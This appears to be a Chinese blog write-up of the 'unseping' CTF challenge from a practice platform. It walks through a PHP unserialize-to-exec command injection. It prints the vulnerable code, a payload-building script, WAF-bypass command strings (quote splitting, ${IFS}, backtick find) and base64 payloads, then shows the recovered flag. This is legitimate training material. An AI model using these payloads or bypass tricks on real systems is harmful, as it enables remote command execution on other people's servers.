当前位置: 首页 > news >正文

攻防世界WEB(新手模式)20-unseping

好了咯,定睛一看php反序列化的题。那首先第一步我们肯定是审一下代码

<?php
highlight_file(__FILE__);  // 显示当前文件的源代码class ease{private $method;  // 存储要调用的方法名private $args;    // 存储方法调用的参数数组function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数 - 对象销毁时自动调用function __destruct(){if (in_array($this->method, array("ping"))) {  // 检查method是否在允许列表中(目前只有"ping")call_user_func_array(array($this, $this->method), $this->args);  // 调用指定方法}} // ping方法 - 执行系统命令function ping($ip){exec($ip, $result);  // 执行系统命令,存在命令注入风险var_dump($result);   // 输出命令执行结果}// WAF(Web应用防火墙)方法 - 过滤危险字符function waf($str){// 使用正则过滤危险字符和命令if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;  // 如果没有匹配到危险字符,返回原字符串} else {echo "don't hack";  // 否则输出警告}}// __wakeup魔术方法 - 反序列化时自动调用function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);  // 对每个参数进行WAF过滤}}   
}// 从POST请求获取ctf参数
$ctf=@$_POST['ctf'];
// 对ctf参数进行base64解码后反序列化
@unserialize(base64_decode($ctf));
?>

那么其实代码的含义是只能调用ping方法,对于其他的一些命令会被过滤掉。

$ctf = @$_POST['ctf'];
@unserialize(base64_decode($ctf));

这两句的处理流程:

  1. base64_decode($ctf):将 base64 编码的字符串解码为原始数据。

  2. unserialize():将解码后的数据反序列化为 PHP 对象。

那么我们在写脚本的时候就需要先对命令转化成序列化格式,然后再进行base64加密。

脚本如下,ls命令需要绕过

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l""s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

ok当然你也可以选择不输出反序列化内容。

接下来我用的是bp,需要更改三个地方。

1、修改post请求,原先是get

2、添加头部,一遍服务器可以解析post数据

Content-Type: application/x-www-form-urlencoded

3、添加payload,记得加ctf=

那么现在,我们去查看flag_1s_here文件,只需要修改脚本中的命令就可以了。(把箭头删掉,替换成框框里面的)

$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));

同理得到,反序列化数据和base64编码后结果。

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

修改bp请求包

ok接着查看这个php文件就可以了,弹药想想则呢么绕过,因为上面代码中把我们的cat、tac命令都给过滤了。这里看了视频受到启发,不用拘泥于一定要cat某个文件,直接cat `find`读取所有文件。

【攻防世界】1061-unseping_哔哩哔哩_bilibili

生成对应paylaod

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

就可以成功读取到flag

cyberpeace{483b2ff67ffb8137bc95b6d8f0a560a0}

OWASP就比较方便使用了~

http://www.dtcms.com/a/318211.html

相关文章:

  • 基于 kubeadm 搭建 k8s 集群
  • 京东商品评论接口开发全指南:从数据获取到分析应用实战
  • 【20205CVPR-目标检测方向】基于事件的高效目标检测:具有空间和时间注意力的混合神经网络
  • Lodash 的终极进化Radashi
  • JAVA 程序员cursor 和idea 结合编程
  • 北京JAVA基础面试30天打卡03
  • SAP MR51 显示不是ALV格式的问题
  • 开源远程工具rustdesk
  • 力扣 hot100 Day67
  • Linux firewall 防火墙管理
  • SpringBoot 接入SSE实现消息实时推送的优点,原理以及实现
  • React:生命周期
  • 二、Istio流量治理(一)
  • 佳文鉴赏 || FD-LLM:用于机器故障诊断的大规模语言模型
  • 性能为王:一次从压测到调优的实战全流程复盘
  • PHP常用日期时间函数
  • 线程-线程池篇(二)
  • 【CSS】动态修改浏览器滚动条宽度
  • 楼宇自控系统对建筑碳中和目标的实现具重要价值
  • MCU程序的ARM-GCC编译链接
  • Powershell---替换文本文件中指定行的整行内容
  • K8S云原生监控方案Prometheus+grafana
  • Java throw exception时需要重点关注的事情!
  • TCP的三次握手和四次挥手实现过程。以及为什么需要三次握手?四次挥手?
  • 使用Cursor创建iOS应用
  • Xcode 26 如何在创建的 App 包中添加特定的目录
  • 北大、蚂蚁三个维度解构高效隐私保护机器学习:前沿进展+发展方向
  • 安装Chocolatey一文通
  • IPS知识点
  • Ubuntu设置